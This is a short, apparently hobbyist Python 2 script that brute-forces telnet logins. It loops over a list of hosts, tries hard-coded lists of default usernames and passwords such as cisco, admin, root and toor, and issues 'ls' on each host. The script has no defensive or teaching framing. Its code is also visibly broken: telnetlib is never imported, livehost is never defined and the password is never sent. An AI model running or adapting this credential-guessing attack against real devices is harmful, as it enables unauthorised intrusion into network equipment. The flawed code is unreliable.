telnet

Passwordlist = ['Telnet', 'security','synet','tech','PASSWORD','cisco','Cisco','anicust','switch','','friend','admin','Admin','ascend','pass','root']
userlist = ['play','Telnet','telnet','root','Root','admin','Admin','','cisco','Cisco','toor']
i = 0



while True:
    for x in livehost :
        print x
        for a in userlist:
            for b in Passwordlist:
                Host = x
                user = a
                password = b
                try:
                    tn = telnetlib.Telnet(Host)
                    tn.read_until("login: ")
                    tn.write(user + "\n")
                    tn.write("ls\n")
                    tn.write("exit\n")
                    print tn.read_all()
                    break
                except:
                    print "connection error ip = " ,x
                    print "user = " ,a
                    print "password = " ,b
                    print "\n"